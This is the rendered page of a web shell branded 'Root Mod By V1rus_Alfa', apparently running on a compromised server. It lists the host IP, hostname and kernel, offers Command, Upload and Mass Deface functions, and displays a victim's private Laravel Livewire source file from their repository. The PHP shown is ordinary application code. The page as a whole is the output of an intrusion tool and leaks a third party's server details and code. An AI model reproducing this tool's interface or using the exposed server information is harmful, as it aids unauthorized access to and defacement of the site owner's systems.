���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Site
/
Pages
/
Analyze
/
Dimensions
/
Viewing: Index.php
<?php /*namespace App\Livewire\Site\Pages\Analyze\Dimensions; use URL; use Carbon\Carbon; use Livewire\Component; use Modules\Central\Models\AnalyzeMaterial; use Modules\Central\Models\AnalyzeDimension; class Index extends Component { public $materials = []; public $form = []; public $previous; public function mount() { $this->previous = URL::previous(); $this->materials = AnalyzeMaterial::get(); $user_materials = AnalyzeDimension::where('user_id', auth()->user()->id)->get(); if (0 < count($this->materials)) { foreach ($this->materials as $row) { $set = false; if (0 < count($user_materials)) { foreach ($user_materials as $item) { if ($item->value == $row->id) { $set = true; array_push($this->form, [ 'name_sheet' => locale_is_english() ? $item->name_en : $item->name_sheet, 'width' => $item->width, 'length' => $item->length, 'rotation' => $item->rotation, 'value' => $row->id, 'name' => $item->name, 'name_en' => $item->name_en, 'user_id' => auth()->user()->id, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now(), ]); } } if (!$set) { $set = true; array_push($this->form, [ 'name_sheet' => locale_is_english() ? $row->title_en : $row->title, 'width' => '183', 'length' => '366', 'rotation' => 1, 'value' => $row->id, 'name' => $row->title, 'name_en' => $row->title_en, 'user_id' => auth()->user()->id, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now(), ]); } } else { $set = true; array_push($this->form, [ 'name_sheet' => locale_is_english() ? $row->title_en : $row->title, 'width' => '183', 'length' => '366', 'rotation' => 1, 'value' => $row->id, 'name' => $row->title, 'name_en' => $row->title_en, 'user_id' => auth()->user()->id, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now(), ]); } } } } public function handelSubmit() { AnalyzeDimension::where('user_id', auth()->user()->id)->delete(); AnalyzeDimension::insert($this->form); return redirect($this->previous)->success(trans('container.operation successful')); } public function render() { return view('livewire.site.pages.analyze.dimensions.index') ->layout('components.layouts.site.app', ['page_name' => 'analyze', 'previousRoute' => route('analyze.start', ['locale' => 'fa'])]); } }*/
Coded With 💗 by
0x6ick Mod By V1rus_Alfa